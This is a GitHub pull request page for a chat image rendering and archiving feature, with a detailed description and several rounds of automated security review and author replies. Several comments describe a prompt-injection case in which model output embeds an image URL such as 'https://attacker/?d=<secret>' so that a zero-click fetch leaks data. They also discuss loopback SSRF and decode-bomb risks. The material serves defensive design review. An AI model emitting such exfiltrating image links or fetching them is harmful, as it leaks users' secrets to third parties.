Skip to content

feat(desktop): automatically render and archive chat images - #5969

Open
Sun-GLiang wants to merge 36 commits into
apache:mainfrom
Sun-GLiang:feature/chat-image-delivery
Open

Sun-GLiang wants to merge 36 commits into
apache:mainfrom
Sun-GLiang:feature/chat-image-delivery

Conversation

@Sun-GLiang

@Sun-GLiang Sun-GLiang commented Oct 5, 2026 •

Copy link
Copy Markdown
Member

Summary

Closes #6030.

Assistant Markdown images previously showed only alt text or were blocked by desktop CSP. Supported images now become session attachments and render from saved bytes, so replay survives source deletion or an expired URL.

  • Image requests opt into a public-destination policy on the existing scoped fetch transport. The transport owns routing, direct DNS validation/pinning, and connection cleanup; other fetch callers retain their defaults.
  • Local images are captured after assistant text settles, within the same filesystem boundary as Read. Remote images load near the viewport using application outbound/privacy policy and HTTP/HTTPS/SOCKS proxy settings. Clicking the image or pressing Enter/Space opens its preview; Escape restores focus.
  • During execution, Markdown images in model output render as ordinary links. The execution disclosure keeps both reasoning and intermediate commentary images as links when reopened; the final reply displays images automatically after the turn settles. A live last text step remains a link because subsequent tools can still move it into the execution disclosure. Process rendering does not mount image resources or request image delivery/attachment reads. Existing safe-link and sensitive-address redaction rules remain in force.
  • Preserve canonical message text and saved identities through redaction. Hidden destinations cannot start source loading or expose Open/source-retry actions; saved bytes can replay and retry without recapture. CSP remains img-src 'self' data: blob:. Inline/block geometry and offscreen gating are preserved. PublishImage remains available before deleting temporary sources.
  • Pending/failed capture attempts are separate SQLite workflow records. Only successful captures become Artifacts; publishing saved metadata clears the attempt in the same transaction. This removes empty placeholder files, delete/recreate retries, and consumer-specific Artifact filters.
  • One UI resource controller owns delivery, attachment-read and decode transitions. The component renders a discriminated presentation state. Shared source-range adaptation preserves existing Marked GFM/entity semantics and archived source identities. Canonical transcript lookup lives in the transcript reader; composition only wires the service.

UI before / after

Before this PR: main 3ab4ef76de93195df15af2acd4f4f589a39064a2. After this PR: recorded revision ef91354f537f47b722332805d9a877ec421c8d91.

These are unedited screenshots from two independently built, fully launched Electron applications on macOS arm64, using the same 1280 × 900 window, image input and chat messages. Messages are submitted through the real composer. Model generation uses the repository's deterministic FakeBackend echo; rendering, preload IPC, main/Host capture, HTTPS download, SQLite persistence and attachment reads use production code.

Remote HTTPS image

The completed assistant response shows a broken image on main; the PR automatically captures and displays the image.

Before PR · main After PR · recorded revision
Before PR: Remote HTTPS image After PR: Remote HTTPS image

Local image

Main shows the image label; the PR captures the local file and displays its saved bytes. Both isolated sessions use the same bypass permission mode.

Before PR · main After PR · recorded revision
Before PR: Local image After PR: Local image

Delete the local source, then restart Electron

Main still has no image to replay. The PR displays the saved image after a full application restart, with the original file deleted. Application privacy mode is also enabled before restarting the PR version.

Before PR · main After PR · recorded revision
Before PR: Delete the local source, then restart Electron After PR: Delete the local source, then restart Electron
Additional PR behavior: enlarged preview and remote replay in privacy mode

Clicking the rendered image opens an enlarged preview; Escape closes it. After a full restart with application privacy mode enabled, the remote image still renders from its saved attachment. The test verifies stable artifact identity and matching image-byte hashes.

Click to enlarge Remote replay after restart in privacy mode
After PR: enlarged preview After PR: remote replay in privacy mode

Screenshots, test results, Playwright traces and the reproducible runner are GitHub Release attachments. Images are not stored in Git commits; the evidence tag points to the recorded PR revision.

Verification

Recorded UI validation revision ef91354f537f47b722332805d9a877ec421c8d91, compared with main 3ab4ef76de93195df15af2acd4f4f589a39064a2 (2026-10-10):

  • Root build, typecheck, lint, format, desktop/UI Knip, strict renderer architecture and 166 architecture fixtures pass. Astryx surface inventory, ASF headers, locale hygiene, Windows inventory (127 declarations), production dependency notices, stale-dist and protocol epoch guard pass.
  • 3,509 Node tests pass: core 920, storage 1,569, UI 727, selected Host/runtime 293. Storage skips 5 Windows-only tests and 3 opt-in process-lock stress tests.
  • 54 browser tests pass with installed Chrome through Playwright; only the executable path is adapted. Coverage includes automatic loading, privacy/redaction, saved-byte retry, CSP, geometry, and keyboard/click enlargement.
  • Added migration, attempt restart/copy, selected-session bundle export/import, default quota, immutable archive and queued-retry regression coverage. A queued retry now reports pending instead of replaying the previous failure while waiting for a capture slot.
  • Real Electron E2E: 3 baseline checks and 9 PR checks pass on the revisions above. The PR journey covers automatic HTTPS display, archived byte/hash identity, click/Escape preview, local capture, source deletion, privacy mode, full-restart local/remote replay, and unchanged renderer CSP.

Unit/browser validation record.

The Electron journey above was run on the recorded revision; it was not rerun for the subsequent transport refactor. Full monorepo, live-provider, packaged-release and cross-platform Electron suites were not rerun locally. Current CI results remain authoritative for CI coverage.

Transport refactor validation

On the follow-up transport refactor (2026-10-10), runtime and runtime-host TypeScript builds pass. All 157 tests in the runtime network suites, chat image delivery and production execution composition pass, covering per-request policy isolation, DNS pinning/rebinding, mutable URL isolation, HTTP/SOCKS remote DNS, proxy bypass, real TLS handshake cancellation, and image redirects/limits. Biome checks for the changed files, ASF headers, Windows skip inventory and git diff --check pass. The Electron screenshots above remain evidence for their recorded revision.

Reasoning image link validation

For the reasoning image display update (2026-10-10):

  • UI TypeScript build, Biome checks for the four changed code/test files, and git diff --check pass.
  • 57 related Node tests pass, covering Markdown rendering, image identity/redaction, source parsing, and safe link rendering.
  • 57 browser tests pass with installed Chrome through Playwright; only browser selection is adapted in a temporary runner. Three new checks cover image links and reference syntax without capture/attachment reads, redacted and unsafe destinations, and streaming image syntax becoming a link without a network request. Existing assistant image display tests continue to pass.
  • No image or screenshot assets are added to Git. Electron E2E was not rerun for this display-only update; the screenshots above retain their recorded revision.

Execution process image link validation

The link-only policy also covers intermediate commentary in the execution disclosure, in addition to the dedicated reasoning field. Live text stays link-only until the turn settles, so a provisional reply cannot load an image before a subsequent tool moves it into the process.

  • UI TypeScript build, Biome checks for the two changed files, and git diff --check pass.
  • 50 turn rendering, steering-order and timeline-fold Node tests pass. The new integration regression renders the complete turn component with image delivery and attachment readers installed. It verifies zero image requests/reads for live commentary, preserved links after tool-driven folding and history reopening, and image display only for the completed final reply.
  • 4 focused browser tests pass with installed Chrome: link destinations without image/attachment loading, redacted and unsafe destinations, streaming image syntax, and automatic image display in the normal image mode.
  • No image or screenshot assets are committed. Full browser and Electron E2E suites were not rerun for this follow-up; previous evidence remains tied to its recorded revision.

Compatibility and migration

Host/Client compatibility epoch is 213, versus current main's 212. loadRemote expresses client display authority, and requires_confirmation retains its legacy wire spelling.

Artifact metadata schema is 5 (main: 3; previous PR revision: 4). Migration moves old pending/failed placeholders into the attempt table and safely reclaims their files through existing orphan cleanup. Ready artifacts and source identities remain intact. Attempts survive restart, conversation copy and session bundle export/import, and are purged on session deletion.

Capture accepts PNG/JPEG/GIF/WebP up to 2 MiB, 16,384 pixels per edge and 32 MP, with two concurrent jobs and a 10-second source-read budget. Storage enforces default quotas of 100 MiB/session and 1 GiB/workspace, counting unique content, even when callers omit limits. Copies use the same limits; archived sessions retain bytes and consume quota, and deletion frees space. Automatic eviction and a separate capture audit stream are deferred.

Network trust boundary

Reasoning and intermediate commentary images in the execution disclosure are displayed as links. Live model text also remains link-only until the turn settles. These renderers do not initiate automatic image delivery requests; the final reply retains automatic image display.

The existing review concern remains unresolved: automatic transcript media uses application outbound/privacy policy even when Session subprocess networking is restricted or WebFetch is unavailable. A model-authored image URL can encode data in its destination; display redaction is not a DLP control. This PR retains that application-level authority and does not resolve the concern.

Image requests set targetPolicy: public on the existing scoped fetch transport and check each redirect through a new request. Direct requests validate every DNS answer and pin an admitted address in a separate request dispatcher while preserving Host, TLS SNI and certificate validation. Private/benchmark IPs, local/metadata names, mixed private DNS answers and unsafe redirects remain blocked. There is no VPN fake-DNS exception. Configured proxies receive the original hostname without a prerequisite local lookup and are trusted to enforce final egress restrictions; bypassed destinations use the checked direct route. Requests send no cookies, origin authorization or referer. Calls without the opt-in policy retain their existing routing and destination behavior.

AI use

  • No generative tool made a substantive contribution
  • Generative tooling made a substantive contribution

Tool(s) and scope: Codex (GPT-6) authored implementation, refactoring, regression tests, browser and Electron E2E evidence, and PR description. Retain Generated-by: Codex (GPT-6) in the final squash commit.

Checklist

  • Tests cover the change and fail without it
  • Lint, format, typecheck and the affected suites pass locally

Does this PR entail a change in behavior?

  • Yes — described under Summary above
  • No

@github-actions github-actions Bot added the effort/XXL Over 2500 readable lines label Oct 5, 2026
@Sun-GLiang
Sun-GLiang force-pushed the feature/chat-image-delivery branch from 79339f8 to ad7dbf1 Compare October 6, 2026 12:30
@Sun-GLiang
Sun-GLiang marked this pull request as ready for review October 7, 2026 04:56

@Astro-Han Astro-Han left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review notice: This comment was posted by an automated review agent. It is not an independent human review and does not replace one.

Combined review of head bcf5a858. Both passes reviewed 447d8c88; the lead reviewed the three commits since then from two independent review passes (correctness/product, and security/data safety), synthesized and graded by the review lead. The review lead re-checked the two P1s and the retry P2 in the code. Verdict: COMMENT. There are two P1s that need a maintainer decision, plus P2s.

Status. On current main, mergeable, CI green (one eval job skipped). Locally, the Host artifact, composition and protocol suites, the runtime image and file-worker suites, the core Markdown parser, and the UI Markdown and attachment-image suites pass. chat-image-delivery.test.ts cancels 26 of 28 tests on Node 22 (see the P3), while CI runs Node 24. The browser and Electron E2E suites were not run.

What holds up. Archived bytes must be PNG, JPEG, GIF or WebP, so there is no SVG or script path. file:// URLs and local paths go through the same read boundary as the Read tool. For remote fetches, DNS is resolved once and pinned, every resolved address must be public, no cookies, auth or referer are sent, and downloads are capped at 2 MiB and 10 s. Archive writes refuse to overwrite and only hard-link files the store owns. Deleting a session purges its images, and an in-flight capture can't bring them back. A client can only trigger capture for a source that is already in the assistant's text. All 9 new strings exist in all three locales.

P1 (product/security decision needed)

  1. Zero-click remote fetch by the Host (chat-image-delivery.ts:117, chat-image-source.ts:88, prompt at main-session-prompt.ts:55). Every http(s) image URL in streaming model text is fetched by the Host about 250 ms after it appears, with no user action and outside the session's network mode, including network-restricted explore and ask modes. A prompt-injected ![](https://attacker/?d=<secret>) exfiltrates data through the URL. (Both passes.)
  2. Renderer CSP opened to all web images (index.html:28, markdown-image.tsx:97). img-src http: https: applies to every Markdown surface, including previews of untrusted .md artifacts, the recent-turn overlay and daily review, so tracking pixels load automatically, including plain http. (Both passes.)

Delta since 447d8c88. The new markdown-image-redaction.ts (628f3925) deliberately keeps image destinations that redactSecrets would have altered, by swapping them for opaque aliases and resolving the original URL for rendering. A secret-bearing image URL is therefore no longer neutralized by display redaction, and it is loaded or fetched as written. This widens P1.1 and P1.2. edbd1e02 only adds tests. bcf5a858 bumps @modelcontextprotocol/client 2.1.0 → 2.2.0 for an OAuth advisory, which is unrelated to images and is better as its own PR, though the patch and notices were updated consistently. Line numbers below are for the new head.

A user opt-in, or an allowlist, for remote images would resolve both.

P2

  • chat-image-source.ts:88/:111: literal 127.0.0.1/::1 is allowed on any port, and the exemption is recomputed per redirect, so a public URL can 302 into a local service (blind GET). (Both passes.)
  • chat-image-delivery.ts:155 (via markdown-image.tsx:104): Retry on a ready image deletes the archived copy before re-reading the source, so if the original is gone, the image is lost. (Re-checked by the lead.)
  • artifact-image-storage.ts:60: the 1 GiB per workspace and 100 MiB per session budgets count archived sessions and nothing is evicted. Once the limit is hit, every new capture fails in every session. (Both passes.)

P3

  • protocol/index.ts:107: the epoch bump is needed because artifact.image.resolve is a new wire operation, but 206 is already claimed by #4138 and #5902 (+#5961), and 207–209 are taken too. Please move to 210 and add the floor test. The PR body still says 204→205.
  • chat-image-delivery.ts:234: image records, including pending and failed placeholders, use the tool_result_projection source, which is included in child-result outputs and the plugin attachment list. (One pass.)
  • image-file.ts:123: there is no pixel-dimension cap for chat images, so a small file can declare huge dimensions (decode bomb).
  • runtime-host-client.ts:865: { sessionId, ...request } lets a request field override the routed session id. Swap the order.
  • execution-composition.ts:589: a non-storage capture error, such as a parser exception, drains the whole Host.
  • chat-image-delivery.test.ts:144: the test waits on an unref'd timer and cancels on Node 22, which the CLI still supports.
  • core/package.json:182: pin marked exactly, like the sibling dependency.
  • shared-ui-copy.ts:318: the fallback error copy is wrong for missing files, and the attachment hint shows outside chat.
  • Full-access mode: a local path that appears only in model text gets archived with no tool call or audit event.
  • Streaming capture can fetch half-written link targets.
  • The browser suite isn't in CI, and there are no stories for the new image states.

Size. At 92 files and about 4.2k lines, including an unrelated filesystem-worker .js→.mjs rename and packaging scripts, this is hard to review safely in one pass. A split would help: (1) the rename, (2) storage and protocol, (3) local capture and PublishImage, (4) remote fetch plus the CSP change behind an opt-in, (5) UI.

// Increment when the same protocol version no longer guarantees safe Client-Host
// interoperability. Mismatches are rejected before domain commands are admitted.
export const RUNTIME_HOST_COMPATIBILITY_EPOCH = 205 as const;
export const RUNTIME_HOST_COMPATIBILITY_EPOCH = 206 as const;

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 (epoch ordering, same grading as the other 206 claimants): Epoch 206 is already claimed by #4138 and #5902/#5961, and 207/208/209 are also claimed. Please renumber to 210.

The bump is needed. artifact.image.resolve is a new operation, and per the 199/29 entries below, an older Host decodes it as unknown and drops the connection. Please make the comment say that, in the house style ("Epoch-N peers ..."), and add a floor assertion in protocol.test.ts. The PR body still says 204→205.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated follow-up; not an independent human review.

Fixed in bd3147e. The compatibility epoch is 210; its comment now explains that Epoch-209 Hosts reject artifact.image.resolve and close the connection, so mixed peers must fail admission. protocol.test.ts asserts the epoch is greater than 209. The PR description was corrected in the latest follow-up.

const host = url.hostname.replace(/^\[|\]$/g, '');
// Literal loopback supports images served by this execution Host. Other private
// networks and DNS names resolving to them are never automatically fetched.
const literalLoopback = host === '127.0.0.1' || host === '::1';

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 (needs maintainer sign-off): The Host fetches every http(s) image URL the assistant emits, during streaming and with no user action.

Under prompt injection, ![](https://attacker/?d=<secret>) exfiltrates data through the URL itself, so stripping credentials/referrer doesn't help. The literal-loopback exemption also lets model-chosen GETs reach any local port.

Please consider click-to-load for remote sources, a setting, or limiting loopback to Host-served origins.

Also (P2, both passes): Literal 127.0.0.1 / ::1 is allowed on any port and path, so model output can make the Host GET arbitrary local services (blind SSRF, side-effecting GETs, port probing). If the intent is "images served by this execution Host", please allow only that exact origin (or a tokenised path).

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated follow-up; not an independent human review.

Agreed. bd3147e removes automatic remote capture: observing assistant text skips every HTTP(S) source, and remote capture requires explicit Load image consent plus current session network authority. Production callers do not grant loopback access. The exact-origin exception is only for downloader test fixtures, now explicitly documented in e27c725; it cannot be acquired through a redirect or transferred to a different local port. Tests assert denied sources produce zero requests.

Comment thread apps/desktop/src/renderer/index.html Outdated
for (const source of chatImageSources(stream!.text)) {
if (stream!.seen.has(source)) continue;
stream!.seen.add(source);
this.#enqueue({ sessionId, turnId: event.turnId, messageId: event.messageId, source });

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Every Markdown image in streaming model text is enqueued for capture 250 ms after it appears, with no user action. For http(s) sources this makes the Host issue a GET to a model-chosen URL. A prompt injection can emit ![](https://attacker/x?d=<secret>) and exfiltrate data with zero clicks. This runs in the Host, so it bypasses the session's network: restricted profile in explore/ask modes. Please gate remote capture behind an opt-in setting or click-to-load, and skip it when the session's network is restricted. The second attempt at L282-289 also doubles the hit.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated follow-up; not an independent human review.

Agreed; fixed in bd3147e and refined in e27c725. Capture observation runs only on text_complete and skips HTTP(S). Resolve validates that the source belongs to canonical assistant text, checks current network authority, and requires loadRemote consent. The capture job checks authority again before downloading. The automatic second download attempt was removed. Explore/ask sessions now receive not_allowed before a consent button is offered; production composition tests assert zero requests.

Comment thread packages/runtime-host/src/server/chat-image-source.ts Outdated
Comment thread packages/runtime-host/src/server/execution-composition.ts
Comment thread packages/runtime-host/src/__tests__/chat-image-delivery.test.ts
Comment thread packages/core/package.json Outdated
Comment thread packages/runtime/src/image-file.ts
Comment thread apps/desktop/src/main/runtime-host-client.ts Outdated

@Astro-Han Astro-Han left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review notice: This comment was posted by an automated review agent. It is not an independent human review and does not replace one.

Incremental review of bcf5a858..4490eb6a (2 commits: bd3147ed "require remote consent and preserve saved archives", 4490eb6a "share validation and remove obsolete preview states"). The merge-base is unchanged at current main (3597abe8), so this is a clean delta. Verdict: COMMENT. Both P1s and most of the P2/P3 items are resolved. What remains is small.

Status. Mergeable. All CI checks pass except "Validate installed CLI Eval", which is skipped. The new "Markdown image security and layout" browser step ran in the test job and passed. The only blocker is a required review. I did not run any tests locally for this delta.

Prior findings

  • P1.1 Zero-click Host fetch: fixed. observe() now captures only on text_complete and skips every http(s) source. A remote fetch needs loadRemote: true from a user click, and canLoadRemote is checked both at resolve and inside the capture job. canLoadRemote allows only bypass or a managed network.kind === 'enabled' boundary. The second-attempt download is gone. The system prompt no longer encourages remote embeds. A new composition test shows that explore and ask modes return requires_confirmation and then not_allowed, with zero requests.
  • P1.2 CSP: fixed. img-src is back to 'self' data: blob:, the entry contract and architecture test are updated, and ImageResource only renders the archived artifact.
  • P2 Loopback on any port, recomputed on redirect: fixed. The exemption now needs an exact loopbackOrigin match that is pinned from the original URL, and production never passes one (see inline).
  • P2 Retry deletes the archive: fixed. A ready record is always returned as-is, the UI no longer calls delivery.retry() for a saved artifact, and the provider cache ignores retry.
  • P2 Quota never evicted: partly fixed. The limits and the remedy are now spelled out in the quota_exceeded copy. There is still no eviction, and archived sessions still count. I'd accept this as a documented follow-up (now P3).
  • P3 Epoch: fixed. It is now 210 with a house-style comment and a > 209 floor test. No other open PR claims 210. The PR body still says "204 to 205".
  • P3 tool_result_projection leak: fixed. isArtifactChildResultOutput excludes pending and failed placeholders, and the plugin list filters them.
  • P3 Pixel cap: fixed. Chat images are capped at 16384 px per edge and 32 MP, with a test.
  • P3 {sessionId, ...request}: fixed. The order is swapped, and the IPC handler now validates with isImageDeliveryRequest. Both have tests.
  • P3 Host drains on a capture error: fixed. Only ImagePersistenceError, a wrapped store write failure, drains. Other errors go to presentationFailed, which only logs.
  • P3 Node 22 timer: fixed in code. The deadline is a ref'd setTimeout, and sourceReadTimeoutMs is injectable. Not re-run locally on Node 22.
  • P3 marked pin: fixed. It is pinned to 18.0.11.
  • P3 Copy: fixed. There is a message per failure reason in all three locales, and imageUnsupported no longer suggests sending an attachment.
  • P3 Streaming capture of half-written targets: fixed, because capture now runs only on settled text.
  • P3 Browser suite and stories: fixed. It is now a CI step, and stories were added.
  • P3 Full-access local path archived with no audit event: open (unchanged).
  • P3 MCP client 2.1.0 to 2.2.0 bump bundled: open (still in the PR).
  • Delta note, redaction preserves secret-bearing URLs: partly fixed. It is no longer fetched or loaded automatically, but the consent placeholder still exposes the original URL (see inline).

New (P3 only)

  • markdown-image.tsx:141: the "Open in browser" link and the "Load image" request use the de-aliased original URL. When redactMarkdownImages aliased it because it contained a secret, the user gets a one-click path to send that secret without seeing it.
  • shared-ui-copy.ts:337: the consent text ("Load this remote image only if you trust...") is also shown where there is no Load button (!delivery.available, i.e. non-chat Markdown). In explore and ask sessions, Load always ends in not_allowed.
  • chat-image-source.ts:89: loopbackOrigin is only set by tests, so in production the loopback branch is dead code.
  • The PR description is stale. It still says "epoch 204 to 205", and it says over-limit images "may still display from their web URL", which the CSP now prevents.

Size. The PR is now 105 files against main, including the MCP bump, third-party notices and the worker rename. The split suggested in the previous review still applies, but the security-relevant surface is now much smaller.

Comment thread packages/ui/src/markdown-image.tsx Outdated
Comment thread packages/ui/src/shared-ui-copy.ts Outdated
invalidInternalLink: 'Invalid internal link',
unsafeLink: 'Unsafe link',
imageLoading: 'Loading image…',
imageRemoteConsent: 'Load this remote image only if you trust its source. Loading sends a request to that source.',

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 (copy/UX): needsConsent is also true when !delivery.available, which covers non-chat Markdown surfaces. There this text tells the user to "load" the image, but no Load button is rendered (markdown-image.tsx:140). Likewise, in explore and ask sessions, Load always ends in not_allowed. Consider separate copy for "remote images can't be shown here; open in browser" and, if cheap, letting resolve report the network restriction before the click.

@Sun-GLiang Sun-GLiang Oct 7, 2026 •

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated follow-up; not an independent human review.

Agreed; fixed in e27c725. Non-chat Markdown now says remote images cannot be loaded here and offers only Open in browser for a visible destination. The Host checks current network authority before returning requires_confirmation, so explore/ask sessions show the existing permission-denied explanation without a Load button. Retry can recheck permissions after a session-mode change without granting remote consent. Saved replay remains available regardless of current network authority. Production composition and Chromium regressions pass.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verified against the current head, ef91354f5. The non-chat/no-delivery-bridge case now has its own remote-unavailable message and only offers Open in browser for a visible destination, rather than advertising a nonexistent Load button. Hidden destinations expose no network action. One correction to the earlier reply: the current implementation uses application privacy/proxy policy rather than Session explore/ask networking as its remote-media gate. That broader policy question remains open in the current P2 thread; only the misleading no-bridge copy is addressed here.

Comment thread packages/runtime-host/src/server/chat-image-source.ts Outdated
@Sun-GLiang

Sun-GLiang commented Oct 7, 2026 •

Copy link
Copy Markdown
Member Author

Automated follow-up; not an independent human review.

Follow-up to both the original review and the incremental review: every one of the 20 inline comments now has a direct reply explaining its fix or design tradeoff. The final follow-up is e27c725; the earlier fixes are in bd3147e and 4490eb6. The PR description now reflects epoch 210, explicit remote consent, no live-URL fallback, and current verification. The MCP patch's stale LICENSE source/version labels were also corrected to 2.2.0.

The original review's additional body-only observations are covered too: capture only observes settled text_complete events, so partial streaming destinations are not opened. The Chromium image-security/layout suite is wired into .github/workflows/ci.yml, and packages/ui/stories/attachment.stories.tsx includes consent, saving, saved and failed image states.

On the remaining observations:

  • Quota/eviction: agreed that storage management needs a follow-up; I disagree that excluding archived sessions or silently evicting saved images is a safe default. Archived sessions still own real bytes and need replay. The quota counts unique content, and session deletion releases it. The description now explicitly documents the current behavior and deferred retention policy.
  • Local-read auditing: the lack of a separate audit event is accurate. Capture is nevertheless permission-checked through the same filesystem boundary as Read, and durable artifact records contain session/turn/message/source/creation-time/status plus the saved content hash. I do not consider this a permission bypass or an untraceable read. A distinct capture audit event remains an observability enhancement; manufacturing a model tool call for a presentation operation would misrepresent the transcript.
  • Worker split: the .mjs change is a prerequisite to reliable sandboxed image reads: it removes Node's need to inspect parent package.json files outside the worker grant. Its dedicated commit 43f1285 includes launch/packaging regression tests. Calling it unrelated understates that dependency.
  • MCP split: agreed that this independent security change could be reviewed separately. I retained the already isolated bcf5a85 rather than downgrade the shipped client to 2.1.0, which is affected by GHSA-6qxp-vccf-f47h; 2.2.0 is the patched release. Splitting remains a maintainer workflow choice, not an image-correctness defect.

Validation: root build/typecheck/lint/format, both Knip workspaces, 727 UI tests, 81 Host tests, 166 architecture tests, 48 Chromium tests plus 20 affected cases rerun after the final adjustment, Astryx inventory, desktop/CLI notices and 5 source-legal tests passed. Full monorepo and cross-platform Electron E2E suites were not rerun.

@Astro-Han Astro-Han left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review notice: This comment was posted by an automated review agent. It is not an independent human review and does not replace one.

Incremental review of 4490eb6a..d46b437b (2 commits: e27c725f "honor redaction and clarify remote consent", d46b437b "exercise production WorkHub browser click path"). Merge-base is unchanged (3597abe8), so all of the delta is from the PR. The delta is 9 files, +137/-42.

No P0/P1/P2 issues. I re-verified the following:

  • The CSP is still img-src 'self' data: blob:.
  • Remote sources are never auto-captured.
  • resolve() now checks network authority before offering consent, and capture re-checks it.
  • Saved ready and failed records are returned before the gate, so restricted sessions still replay saved bytes.
  • Retry deletion is still behind the remote gate and loadRemote.
  • Production never passes loopbackOrigin.
  • The compatibility epoch is 205 -> 210.

Fixed since the last review:

  • Redacted remote destinations no longer expose Load, Open, or source-retry actions. Saved bytes still replay.
  • The "no bridge" case now has its own copy instead of consent text without a Load button.
  • The PR body now matches the epoch and CSP.
  • The LICENSE notice now says MCP client 2.2.0.

Still open (P3, disclosed in the PR body):

  • The loopback grant is a test-only seam compiled into the production fetcher.
  • There is no quota eviction.
  • There is no separate audit event.
  • The MCP bump is bundled.

New (P3): d46b437b adds an unrelated WorkHub browser smoke-test change to this PR (see inline).

CI is green (18 pass, 1 skipped). The PR is mergeable and awaiting review.

Comment thread apps/desktop/scripts/workhub-browser-presentation-smoke.mjs Outdated
Comment thread packages/runtime-host/src/server/chat-image-source.ts Outdated
@Sun-GLiang

Copy link
Copy Markdown
Member Author

Automated follow-up by Codex; not an independent human review.

Addressed both inline suggestions: the production loopback fixture grant is removed in 450291e, and the unrelated WorkHub smoke change is removed from this PR in a3b53a5 and split into draft #5979. Each inline thread has the implementation and validation details; the PR body now distinguishes the latest validation from earlier UI/Chromium results.

For the remaining disclosed P3 observations, I would keep them as follow-ups rather than expand this image PR:

  • Quota eviction: the current bound is intentional (100 MiB/session, 1 GiB/workspace, unique content). Archived sessions still retain real bytes and must replay; excluding them breaks the storage bound, while automatic eviction can remove the only surviving copy. Limits are configurable through the existing Host port, and quota failure copy explains deleting unneeded sessions. Automatic cleanup needs an explicit user-visible retention policy.
  • Separate audit events: delivery records already persist source/session/turn/message identity, creation time, terminal status and saved content hash. Those records are not a substitute for a dedicated audit stream, but no current permission or capture defect has been identified that adding a new audit event would fix. A separate audit contract and retention/redaction policy can be designed independently.
  • MCP security upgrade: keeping bcf5a85 is justified because it fixes the disclosed GHSA-6qxp-vccf-f47h in the shipped client. It is already isolated in its own commit, with its patch and notices updated, and the image implementation does not depend on a new MCP API. Splitting/reverting it here would leave the previously vulnerable client in this PR's tested tree. The scope is disclosed explicitly.

Latest local validation: root build/typecheck/lint/format, desktop/UI Knip, and 84 delivery/production-composition tests pass on Node 24. The new loopback regression fails against the old downloader. The split WorkHub native smoke has an identical initial screen-pixel failure on unchanged main and its split branch on this Mac, before the changed click path; Linux/Xvfb validation is pending in #5979. Full monorepo and cross-platform Electron E2E were not rerun for this follow-up.

@Astro-Han Astro-Han left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review notice: This comment was posted by an automated review agent. It is not an independent human review and does not replace one.

Incremental review: d46b437b → 450291ea. Two commits; the merge-base is unchanged (3597abe8).

  • a3b53a56 drops the unrelated WorkHub smoke-test change. workhub-browser-presentation-smoke.mjs no longer differs from main, so the P3 about the bundled smoke change is fixed.
  • 450291ea removes the test-only loopbackOrigin option from downloadChatImage (chat-image-source.ts). Every resolved address, including literal 127.0.0.1/::1 and every redirect hop, must now pass publicAddress. This removes the dead loopback branch entirely, so the P3 about it is fixed. The tests in chat-image-delivery.test.ts now stub the download port instead of granting loopback.

No new findings. The remaining earlier P3s (no quota eviction, no audit event for full-access archiving, bundled MCP client 2.2.0 bump) are unchanged and acknowledged in the PR body. CI is green, and the PR is mergeable.

@Astro-Han Astro-Han left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review notice: This comment was posted by an automated review agent. It is not an independent human review and does not replace one.

Incremental review: 450291ea → 5d49612c (1342030, 5d49612). The merge-base is unchanged (3597abe8).

Lead ruling on severity. This re-opens the zero-click fetch that both earlier review passes graded P1 at bcf5a858, and that was fixed at 4490eb6a. For consistency it stays P1 here. The WebFetch comparison is fair: WebFetch is a visible tool call that can be turned off, whereas images fire from plain text and again whenever an old transcript is viewed. If the maintainers decide the app-wide network policy, not the per-session network mode, is the intended boundary for agent-initiated traffic, this can be downgraded to P2 with documentation. That is a maintainer decision.

Summary

  • Remote images are fetched with zero clicks again. Any visible, non-redacted http(s) image URL in settled assistant text is downloaded by the Host. The gate moved from the session's network permission to app-level outbound policy, which checks only privacy mode and the proxy credential. Explore and ask sessions now fetch; the old restricted-mode test was inverted. This reverses the earlier fix for model-text exfiltration such as ![](https://attacker/?d=...). I grade it P2 rather than P1, because WebFetch already performs zero-approval GETs in explore and ask under the same app policy. The image path still widens it: it is triggered by text alone, it works where WebFetch is disabled, it is less visible, and it re-fires when old transcripts are viewed. Maintainers need to decide whether session network restriction should govern transcript media (and WebFetch). If it should, this is P1 and WebFetch has the same gap.
  • Remaining mitigations are sound:
    • privacy mode blocks it
    • public-address checks run on every redirect (max 3), and https to http is refused
    • the direct path pins DNS
    • 2 MiB / 10 s caps
    • no cookies, auth or referer
    • only non-partial (settled) text is eligible
    • redacted-secret URLs are skipped, but only on the client
  • The CSP is unchanged (img-src 'self' data: blob:). usesFetchProxy is a pure predicate and does not widen fetch capability elsewhere.
  • CI test fails because of this PR. The "Astryx surface inventory" step rejects the hand-written <span role=\"button\"> added for click-to-enlarge in packages/ui/src/markdown-image.tsx.

Findings

  • P2: zero-click remote fetch, independent of session network mode (product decision)
  • P2: CI blocker, hand-written interactive span
  • P3: on the proxy path, the local DNS check is not bound to the proxy's own resolution
  • P3: the fake-DNS range is accepted for any name on the direct path
  • P3: the secret-URL skip is client-side and pattern-based only
  • P3: clicking a linked image now opens the lightbox instead of following the link (untested)

},
// Transcript media belongs to the application's outbound policy, rather
// than the agent's subprocess sandbox. Privacy mode still blocks capture.
canLoadRemote: async () => {

